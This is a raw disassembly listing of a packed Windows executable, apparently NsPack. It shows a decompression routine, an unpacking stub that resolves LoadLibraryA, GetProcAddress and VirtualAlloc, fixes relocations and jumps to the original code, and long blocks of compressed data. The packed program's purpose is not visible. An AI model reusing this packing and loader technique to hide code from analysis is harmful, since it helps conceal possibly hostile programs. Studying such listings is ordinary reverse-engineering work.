sub ecx, edx
mov edx, [ebp+10h]
lea ebx, [edx+ecx*4+0ABCh]
jmp short loc_49177A
; ---------------------------------------------------------------------------
loc_491734: ; CODE XREF: .nsp0:00491720j
sub ecx, 4
loc_491737: ; CODE XREF: .nsp0:00491765j
cmp eax, 1000000h
jnb short loc_491755
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_491755: ; CODE XREF: .nsp0:0049173Cj
shr eax, 1
add edi, edi
cmp [ebp+0Ch], eax
jb short loc_491764
sub [ebp+0Ch], eax
or edi, 1
loc_491764: ; CODE XREF: .nsp0:0049175Cj
dec ecx
jnz short loc_491737
mov ebx, [ebp+10h]
add ebx, 0C88h
shl edi, 4
mov dword ptr [ebp-14h], 4
loc_49177A: ; CODE XREF: .nsp0:00491732j
xor ecx, ecx
inc ecx
mov [ebp-20h], ebx
mov [ebp-24h], ecx
loc_491783: ; CODE XREF: .nsp0:004917E5j
cmp eax, 1000000h
jnb short loc_4917A1
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_4917A1: ; CODE XREF: .nsp0:00491788j
mov edx, [ebx+ecx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_4917C6
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ebx+ecx*4], esi
add ecx, ecx
jmp short loc_4917DF
; ---------------------------------------------------------------------------
loc_4917C6: ; CODE XREF: .nsp0:004917AFj
sub [ebp+0Ch], esi
mov ebx, [ebp-20h]
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
or edi, [ebp-24h]
mov [ebx+ecx*4], edx
lea ecx, [ecx+ecx+1]
loc_4917DF: ; CODE XREF: .nsp0:004917C4j
shl dword ptr [ebp-24h], 1
dec dword ptr [ebp-14h]
jnz short loc_491783
loc_4917E7: ; CODE XREF: .nsp0:00491709j
inc edi
mov [ebp-14h], edi
jz short loc_49181B
mov ebx, [ebp-30h]
loc_4917F0: ; CODE XREF: .nsp0:00491819j
mov ecx, [ebp-10h]
inc ebx
sub ecx, edi
inc ebx
add ecx, [ebp+8]
loc_4917FA: ; CODE XREF: .nsp0:0049180Fj
mov dl, [ecx]
mov esi, [ebp-10h]
mov edi, [ebp+8]
dec ebx
inc dword ptr [ebp-10h]
inc ecx
test ebx, ebx
mov [ebp-1], dl
mov [edi+esi], dl
jnz short loc_4917FA
jmp loc_491109
; ---------------------------------------------------------------------------
loc_491816: ; CODE XREF: .nsp0:0049167Cj
mov edi, [ebp-14h]
jmp short loc_4917F0
; ---------------------------------------------------------------------------
loc_49181B: ; CODE XREF: .nsp0:004917EBj
mov eax, [ebp-10h]
leave
retn 0Ch
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 184A0000h, 18570009h, 9, 4 dup(0)
dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch, 0FD77E805h
dd 0A77E7A5h, 3477E798h, 77E79Eh, 0
dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h
dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h
dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 10000000h
dd 80000h, 0
dd 32h, 40h, 3 dup(0)
dd 60177E6h, 3Fh, 2000003Fh, 10000048h, 0DCC70040h, 70000048h
dd 0E7090041h, 90000048h, 41h, 2B000000h, 0F145C294h, 3A1795A5h
dd 0FF55F6E7h, 5CB48203h, 0A851FE60h, 1109D910h, 0E8282274h
dd 62AD98BBh, 776FC259h, 78D8556Dh, 81B45069h, 0A637E719h
dd 4E133A8Bh, 0AB0E4871h, 0C916483Fh, 0EAD05BD5h, 970F1547h
dd 7564A7E8h, 9D710879h, 0BB16EEA4h, 207E5DAEh, 6C4C658Fh
dd 1D6C0432h, 0F809450Dh, 0C252D963h, 8D271D50h, 8FC839DBh
dd 6F14A9B0h, 0BF61887Dh, 0BC7A7223h, 0EE6417Ch, 8B7BD421h
dd 0E050A8B8h, 89AB1FECh, 3D8876E9h, 508AA5D9h, 52AAD6C2h
dd 0D98C608Ch, 0A55BAD89h, 6C0E2001h, 2EBD9F8Ah, 0E97F0630h
dd 0A6711F62h, 42029695h, 0EE65CB76h, 553F3A95h, 4AAD7752h
dd 0D534D108h, 0A56537F5h, 499A3865h, 0B5F40E33h, 976706C8h
dd 879D936h, 0CDB9D511h, 456D7340h, 2C68DAF8h, 0E1339C45h
dd 0DFAD56A1h, 0D86ACF03h, 0F33C0025h, 0D6ED4042h, 4E159B93h
dd 4505C427h, 29644C91h, 804FDA15h, 1D242F72h, 22709904h
dd 13975A93h, 0B556E403h, 7D4F1A26h, 9366AB61h, 8A056702h
dd 94442D13h, 0E71191A1h, 320DC375h, 2CF0AFBEh, 2A873969h
dd 0DB1BF251h, 0E697325h, 764091CDh, 9E1FA910h, 1AD159A5h
dd 4E66D061h, 2DAF7793h, 4493B4FFh, 84A0496Ah, 0F2BA0D2h
dd 218DC503h, 13324597h, 1DB84DB5h, 0C5143AD3h, 2723F823h
dd 0BD231F30h, 3ED104A0h, 0F9FD95F3h, 2C1DC283h, 56B91197h
dd 7DC3572Ch, 9D56D64Bh, 25EBF7B7h, 6983A6D1h, 7D7242DAh
dd 2D500920h, 75A72F54h, 6407B4E5h, 61EC5D07h, 766E1D05h
dd 7CEC0A93h, 780F2EF6h, 0EBF667A9h, 2BD6A4EEh, 81CAB52Ch
dd 5461B9D9h, 8DC95370h, 9EF020E3h, 5282C054h, 0DC423CB9h
dd 9A5CB059h, 0A41EC9EAh, 0DDC9EA63h, 0F10ED594h, 4AF4C50Fh
dd 0C6334204h, 2FFEB8D0h, 0BBB91167h, 597F024Fh, 4A315926h
dd 0E81E35E9h, 0E25B2C24h, 0E532D0A7h, 0F0617EC5h, 6981F5E4h
dd 106E377Dh, 0D80829A0h, 719601BFh, 0D70E9BD7h, 42C81463h
dd 53D03104h, 0EF381275h, 9CDD3683h, 2AE14FC9h, 0F99306A5h
dd 3C0E5BADh, 0D7F18939h, 0A14DBF9Ch, 47AF7F0Eh, 0EC07F91Dh
dd 0DEF491FDh, 0A0986832h, 2433D2F2h, 8F01D9C2h, 5A32E36Ah
dd 0A1D48887h, 0B8C93353h, 0BF972487h, 2D4FCA65h, 0F2801940h
dd 0EE9A65F8h, 0C7196B8Ah, 4AAC2884h, 91F26C5h, 44E3BFBAh
dd 62C0D1B9h, 8DC6BA3Ch, 0B8C95A85h, 8AA4F29h, 0CD22ACB3h
dd 0DD927A3Dh, 0B9BC505Dh, 5366FB51h, 94790A49h, 0BE201668h
dd 0CBE86A56h, 0E4DD37EDh, 0E0940D2Ch, 0A1917164h, 9E4B5433h
dd 0AB1126FAh, 39D76B1Eh, 30424E3Fh, 0CF925A9Ch, 40134Eh
dd 751BD17Ch, 0E425CD76h, 0F0FA14D2h, 16C56A51h, 94D4EF5h
dd 0B7791EB1h, 0D588924Ch, 0BBE3EAD1h, 0C26E5AF0h, 0A11C42A2h
dd 0AC7BEDBAh, 5E73FE2Ch, 7DFB6789h, 14E680A4h, 5CB9891Ah
dd 92D01B89h, 0C8FEFF6Ah, 1E42h, 0FDh dup(0)
dd 15h, 0
dd 91857h, 340AFDD8h, 0B77E79Eh, 4 dup(0)
db 0
aLoadlibraryage db 'LoadLibraryAGetProcAddressVirtualAllocVirtualFree',0
align 1000h
_nsp0 ends
; Section 2. (virtual address 00093000)
; Virtual size : 00011000 ( 69632.)
; Section size in file : 00011000 ( 69632.)
; Offset to raw data for section: 00093000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp1 segment para public 'CODE' use32
assume cs:_nsp1
;org 493000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 906h, 0
dd 92000h, 0
dd 400000h, 0
dd 77E60000h, 7 dup(0)
dd 320000h, 0
dd 400000h, 0Ah dup(0)
dd 2, 138h, 2 dup(0)
dd 1, 0
dd offset sub_401000
dd 0
dd 0FC01h, 3 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
dd 77E75CB5h, 4 dup(0)
dd 930E0h, 9309Ch, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 4C000000h, 4C64616Fh
dd 61726269h, 417972h, 65470000h, 6F725074h, 64644163h
dd 73736572h, 56000000h, 75747269h, 72506C61h, 6365746Fh
dd 74h, 74726956h, 416C6175h, 636F6C6Ch, 56000000h, 75747269h
dd 72466C61h, 6565h, 69784500h, 6F725074h, 73736563h, 3000000h
dd 6383047Eh
db 0E3h, 7Dh, 37h
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_24 = dword ptr -24h
; FUNCTION CHUNK AT 00490E6E SIZE 00000185 BYTES
; FUNCTION CHUNK AT 00493513 SIZE 00000009 BYTES
pushf
pusha
call $+5
pop ebp
sub ebp, 7
lea ecx, [ebp-0D7h]
cmp byte ptr [ecx], 1
jz loc_4933AF
mov byte ptr [ecx], 1
mov eax, ebp
sub eax, [ebp-143h]
mov [ebp-143h], eax
add [ebp-113h], eax
lea esi, [ebp-0CFh]
add [esi], eax
push ebp
push esi
push 40h
push 1000h
push 1000h
push 0
call dword ptr [ebp-0ABh]
test eax, eax
jz loc_493513
mov [ebp-11Bh], eax
call $+5
pop ebx
mov ecx, 367h
add ebx, ecx
push eax
push ebx
call sub_493474
pop esi
pop ebp
mov esi, [esi]
mov edi, ebp
add edi, [ebp-153h]
mov ebx, edi
cmp dword ptr [edi], 0
jnz short loc_4931E1
add edi, 4
mov ecx, 0
jmp short loc_4931F7
; ---------------------------------------------------------------------------
loc_4931E1: ; CODE XREF: start+82j
mov ecx, 1
add edi, [ebx]
add ebx, 4
loc_4931EB: ; CODE XREF: start+CFj
cmp dword ptr [ebx], 0
jz short loc_493224
add [ebx], edx
mov esi, [ebx]
add edi, [ebx+4]
loc_4931F7: ; CODE XREF: start+8Cj
push edi
push ecx
push ebx
push dword ptr [ebp-0A7h]
push dword ptr [ebp-0ABh]
mov edx, esi
mov ecx, edi
mov eax, [ebp-11Bh]
add eax, 5AAh
call eax
pop ebx
pop ecx
pop edi
cmp ecx, 0
jz short loc_493224
add ebx, 8
jmp short loc_4931EB
; ---------------------------------------------------------------------------
loc_493224: ; CODE XREF: start+9Bj start+CAj
push 8000h
push 0
push dword ptr [ebp-11Bh]
call dword ptr [ebp-0A7h]
lea esi, [ebp-113h]
mov ecx, [esi+8]
lea edx, [esi+10h]
mov esi, [esi]
mov edi, esi
cmp ecx, 0
jz short loc_49328B
loc_49324C: ; CODE XREF: start+100j start+10Ej
mov al, [edi]
inc edi
sub al, 0E8h
loc_493251: ; CODE XREF: start+136j
cmp al, 1
ja short loc_49324C
mov eax, [edi]
cmp byte ptr [edx+1], 0
jz short loc_493271
mov bl, [edx]
cmp [edi], bl
jnz short loc_49324C
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
jmp short loc_49327B
; ---------------------------------------------------------------------------
loc_493271: ; CODE XREF: start+108j
mov bl, [edi+4]
xchg al, ah
rol eax, 10h
xchg al, ah
loc_49327B: ; CODE XREF: start+11Cj
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 5
sub bl, 0E8h
mov eax, ebx
loop loc_493251
loc_49328B: ; CODE XREF: start+F7j
call sub_4933CA
lea ecx, [ebp-0FFh]
mov eax, [ecx+8]
cmp eax, 0
jz loc_493323
mov esi, edx
sub esi, [ecx+10h]
jz short loc_493323
mov [ecx+10h], esi
lea esi, [ebp-0CFh]
mov esi, [esi]
lea ebx, [esi-4]
mov eax, [ecx]
cmp eax, 1
jz short loc_4932C8
mov edi, edx
add edi, [ecx+8]
mov ecx, [ecx+10h]
jmp short loc_4932D0
; ---------------------------------------------------------------------------
loc_4932C8: ; CODE XREF: start+169j
mov edi, esi
add edi, [ecx+8]
mov ecx, [ecx+10h]
loc_4932D0: ; CODE XREF: start+173j start+18Ej
xor eax, eax
mov al, [edi]
inc edi
or eax, eax
jz short loc_4932F9
cmp al, 0EFh
ja short loc_4932E3
loc_4932DD: ; CODE XREF: start+19Dj start+1A4j
add ebx, eax
add [ebx], ecx
jmp short loc_4932D0
; ---------------------------------------------------------------------------
loc_4932E3: ; CODE XREF: start+188j
and al, 0Fh
shl eax, 10h
mov ax, [edi]
add edi, 2
or eax, eax
jnz short loc_4932DD
mov eax, [edi]
add edi, 4
jmp short loc_4932DD
; ---------------------------------------------------------------------------
loc_4932F9: ; CODE XREF: start+184j
xor ebx, ebx
xchg edi, esi
mov eax, [esi]
cmp eax, 0
jz short loc_493323
loc_493304: ; CODE XREF: start+1BCj
lodsd
or eax, eax
jz short loc_493311
add ebx, eax
add [edi+ebx], cx
jmp short loc_493304
; ---------------------------------------------------------------------------
loc_493311: ; CODE XREF: start+1B4j
xor ebx, ebx
shr ecx, 10h
loc_493316: ; CODE XREF: start+1CEj
lodsd
or eax, eax
jz short loc_493323
add ebx, eax
add [edi+ebx], cx
jmp short loc_493316
; ---------------------------------------------------------------------------
loc_493323: ; CODE XREF: start+149j start+154j ...
lea esi, [ebp-143h]
mov edx, [esi]
lea esi, [ebp-0E7h]
mov al, [esi]
cmp al, 1
jnz short loc_493376
add edx, [esi+4]
push esi
push edx
push esi
push 4
push 100h
push edx
call dword ptr [ebp-0AFh]
pop edi
pop esi
cmp eax, 1
jnz loc_493513
add esi, 8
mov ecx, 8
rep movsb
sub esi, 0Ch
sub edi, 8
push esi
push dword ptr [esi-4]
push 100h
push edi
call dword ptr [ebp-0AFh]
loc_493376: ; CODE XREF: start+1E2j
push ebp
pop ebx
sub ebx, 8
xor ecx, ecx
mov cl, [ebx]
cmp cl, 0
jz short loc_4933AF
inc ebx
lea esi, [ebp-143h]
mov edx, [esi]
loc_493390: ; CODE XREF: start+25Aj
push esi
push ecx
push ebx
push edx
push esi
push dword ptr [ebx]
push dword ptr [ebx+4]
mov eax, [ebx+8]
add eax, edx
push eax
call dword ptr [ebp-0AFh]
pop edx
pop ebx
pop ecx
pop esi
add ebx, 0Ch
loop loc_493390
loc_4933AF: ; CODE XREF: start+14j start+232j
mov eax, 0
cmp eax, 0
jz short loc_4933C3
popa
popf
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4933C3: ; CODE XREF: start+264j
popa
popf
jmp loc_490E6E
start endp
; =============== S U B R O U T I N E =======================================
sub_4933CA proc near ; CODE XREF: start:loc_49328Bp
mov esi, [ebp-14Bh]
or esi, esi
jz loc_49346F
mov edx, [ebp-143h]
add esi, edx
loc_4933E0: ; CODE XREF: sub_4933CA+61j
cmp dword ptr [esi], 0
jnz short loc_4933F3
cmp dword ptr [esi+4], 0
jnz short loc_4933F3
cmp dword ptr [esi+8], 0
jnz short loc_4933F3
jmp short loc_49346D
; ---------------------------------------------------------------------------
loc_4933F3: ; CODE XREF: sub_4933CA+19j
; sub_4933CA+1Fj ...
mov ebx, [esi+8]
add ebx, edx
push ebx
push edx
push esi
lea edi, [ebp-73h]
add edi, [esi+4]
add esi, 0Ch
push edi
call dword ptr [ebp-0B7h]
pop edi
pop edx
pop ebx
cmp eax, 0
jz short loc_49346F
mov [ebp-13Bh], eax
add edi, [esi]
add esi, 4
loc_493421: ; CODE XREF: sub_4933CA+A1j
xor ecx, ecx
mov cl, [esi]
cmp ecx, 0
jnz short loc_49342D
inc esi
jmp short loc_4933E0
; ---------------------------------------------------------------------------
loc_49342D: ; CODE XREF: sub_4933CA+5Ej
mov eax, edi
add edi, ecx
push edx
push ebx
push eax
cmp byte ptr [eax], 0FFh
jnz short loc_493441
inc eax
mov eax, [eax]
and eax, 7FFFFFFFh
loc_493441: ; CODE XREF: sub_4933CA+6Dj
mov cl, [edi]
mov byte ptr [edi], 0
push ecx
push eax
push dword ptr [ebp-13Bh]
call dword ptr [ebp-0B3h]
pop ecx
pop edx
pop ebx
pop edx
cmp eax, 0
jz short loc_49346F
mov [edi], cl
mov [esi-4], eax
push dword ptr [esi-4]
pop dword ptr [ebx]
add ebx, 4
inc esi
jmp short loc_493421
; ---------------------------------------------------------------------------
loc_49346D: ; CODE XREF: sub_4933CA+27j
clc
retn
; ---------------------------------------------------------------------------
loc_49346F: ; CODE XREF: sub_4933CA+8j
; sub_4933CA+4Aj ...
jmp loc_493513
sub_4933CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493474 proc near ; CODE XREF: start+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0049350F SIZE 00000004 BYTES
push ebp
mov ebp, esp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_493480: ; CODE XREF: sub_493474+12j
movsb
loc_493481: ; CODE XREF: sub_493474+34j
; sub_493474+7Dj
call sub_4934F3
jnb short loc_493480
xor ecx, ecx
call sub_4934F3
jnb short loc_4934AA
xor eax, eax
call sub_4934F3
jnb short loc_4934BB
mov al, 10h
loc_49349C: ; CODE XREF: sub_493474+2Fj
call sub_4934F3
adc al, al
jnb short loc_49349C
jnz short loc_4934E8
stosb
jmp short loc_493481
; ---------------------------------------------------------------------------
loc_4934AA: ; CODE XREF: sub_493474+1Bj
call sub_4934FF
dec ecx
loop loc_4934C7
mov eax, ebp
call sub_4934FD
jmp short loc_4934E9
; ---------------------------------------------------------------------------
loc_4934BB: ; CODE XREF: sub_493474+24j
lodsb
shr eax, 1
jz short loc_49350F
adc ecx, 2
mov ebp, eax
jmp short loc_4934E9
; ---------------------------------------------------------------------------
loc_4934C7: ; CODE XREF: sub_493474+3Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call sub_4934FD
cmp eax, 7D00h
jnb short loc_4934E7
cmp eax, 500h
jnb short loc_4934E8
cmp eax, 7Fh
ja short loc_4934E9
loc_4934E7: ; CODE XREF: sub_493474+65j
inc ecx
loc_4934E8: ; CODE XREF: sub_493474+31j
; sub_493474+6Cj
inc ecx
loc_4934E9: ; CODE XREF: sub_493474+45j
; sub_493474+51j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_493481
sub_493474 endp
; =============== S U B R O U T I N E =======================================
sub_4934F3 proc near ; CODE XREF: sub_493474:loc_493481p
; sub_493474+16p ...
add dl, dl
jnz short locret_4934FC
mov dl, [esi]
inc esi
adc dl, dl
locret_4934FC: ; CODE XREF: sub_4934F3+2j
retn
sub_4934F3 endp
; =============== S U B R O U T I N E =======================================
sub_4934FD proc near ; CODE XREF: sub_493474+40p
; sub_493474+5Bp
xor ecx, ecx
sub_4934FD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4934FF proc near ; CODE XREF: sub_493474:loc_4934AAp
inc ecx
loc_493500: ; CODE XREF: sub_4934FF+Dj
call sub_4934F3
adc ecx, ecx
call sub_4934F3
jb short loc_493500
retn
sub_4934FF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_493474
loc_49350F: ; CODE XREF: sub_493474+4Aj
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_493474
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_493513: ; CODE XREF: start+51j start+1FDj ...
push 0
call dword ptr [ebp-0A3h]
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
inc dword ptr [eax]
mov edx, [ecx]
cmp edx, [ecx+4]
jnz short loc_49352F
mov dword ptr [ecx+eax*2], 2300110h
or al, 0FFh
retn
; ---------------------------------------------------------------------------
loc_49352F: ; CODE XREF: .nsp1:00493523j
pop es
mov al, [edx]
inc edx
mov [ecx], edx
pusha
mov eax, [esp+4]
sbb al, 83h
popa
adc [ebx], dh
or [ebx+eax*4], cl
push esi
push ds
and [ebx], al
rol byte ptr [ecx+49h], 1
or bh, bh
push 5
jmp short loc_49355E
; ---------------------------------------------------------------------------
db 58h
dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
db 0C1h, 0E2h
; ---------------------------------------------------------------------------
loc_49355E: ; CODE XREF: .nsp1:0049354Dj
or [ebx], cl
retn 3E4Eh
; ---------------------------------------------------------------------------
db 89h
dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh
dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch
dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h
dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh
dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h
dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h
dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h
dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h
dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh
dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h
dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h
dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h
dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h
dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh
dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh
dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h
dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h
dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h
dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h
dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh
dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
dd 0F8C41E5Fh, 80B90153h, 0
dd 5D00h, 0FBF00020h, 20000000h, 9, 0FFFFFD6Fh, 47FFB7A3h
dd 7215483Eh, 0B8516139h, 0A3E62892h, 0EEF90786h, 0D3821EE4h
dd 3C3AC52Fh, 7EB14B01h, 4D8A8AC9h, 0D90DA32Fh, 8CE3A67Fh
dd 0E0531123h, 75C51859h, 0F877E28Ah, 0C7F94B6h, 74DEC06Ah
dd 0E9E26449h, 4B2535Ch, 0C44F7D8h, 6D0D5FABh, 0C3E5E946h
dd 96B78876h, 4DB6AC57h, 6F1D69E1h, 10884BFBh, 88CB426Ch
dd 8F005C3Fh, 26AF4ED0h, 1F719428h, 0E1248F3Dh, 23A79E70h
dd 0CB28EC5Fh, 9895D185h, 0C617A8Ah, 1ACC7346h, 570D46A4h
dd 22AED1F9h, 0ED5B4DFEh, 5F2C1B8Ah, 0C0FAB9CEh, 1358796Fh
dd 3CFE18BDh, 941DFBC0h, 0A0CFAB51h, 3A78812Bh, 0DC1B00ADh
dd 0F7BE9513h, 407BF1h, 12DFE79Fh, 27AAAC14h, 0B9B59DDFh
dd 597FED96h, 12776FDAh, 574780E7h, 0DB062D33h, 0AA32F6A5h
dd 0A0A2498Dh, 5D46F4C5h, 5DD068Dh, 1CF92360h, 60600925h
dd 27FAB5h, 5CFDB8BFh, 0D26203D2h, 3A259C43h, 0CD68AD1Ah
dd 9695E22Bh, 0B105F264h, 972107B3h, 942A2D05h, 0F31548A2h
dd 0D5E7F8D0h, 9659CC6h, 0F64150Fh, 98AB9C39h, 0B62361E0h
dd 1F6A47Bh, 0FEB20242h, 0D970E7DDh, 0A8A0C019h, 2C9FD2CBh
dd 0EA606D69h, 0DA198AB5h, 73103364h, 3FF3987Dh, 0FEED48Ah
dd 0C61662BEh, 81953FD8h, 86A9BE45h, 0DD48C604h, 8389DB3Ch
dd 37440B9Fh, 1F9505F1h, 6D6EAB55h, 0AA78E7BEh, 2768B6F5h
dd 780FC01Bh, 83E9B6C0h, 1F3FBE0Bh, 88376029h, 0F97A437Dh
dd 518055E2h, 0C89F4119h, 7E791EFAh, 1D097BF1h, 0AD1E9CD3h
dd 6CD3FF25h, 44E49982h, 2E12445Ch, 0C9131746h, 0E36903FEh
dd 0B1300F80h, 0E49568Dh, 2C9F6354h, 4AFDCBF8h, 0FD21898Fh
dd 5E719419h, 7C2BB328h, 5D169937h, 3837D06Fh, 0D1266F23h
dd 81CAC6EAh, 0F3C76FD8h, 0A1497BC7h, 0E04A98AEh, 3A86CFBEh
dd 2A5F1824h, 66FCFFCBh, 83A948FDh, 0B4A7AA73h, 873AB2D4h
dd 46E29DCAh, 5BD679C8h, 0C282E77Dh, 0B2B46828h, 4101D864h
dd 1C0F0062h, 18A3B9E1h, 0E9D573ABh, 4CBB6FC7h, 0B8E31053h
dd 88096715h, 0CF0F6191h, 0D31924DDh, 3CAADCE2h, 8638B2B5h
dd 5ADF833Bh, 3DFD451Eh, 0DBCA70A3h, 0ECE1392Eh, 0BB5BD531h
dd 0F642FDEFh, 0B93BEEE6h, 0D23D9D00h, 0B6046FA4h, 0B5C0F473h
dd 5DABD8F1h, 0F4094374h, 176ECF49h, 0AFCC2CA3h, 24A427D9h
dd 16C16123h, 3B870E0Bh, 0DB8E5882h, 0F6B24EE0h, 0A7FA7257h
dd 307431CEh, 0C739BA58h, 3A43F07Fh, 330AC810h, 0C99529F4h
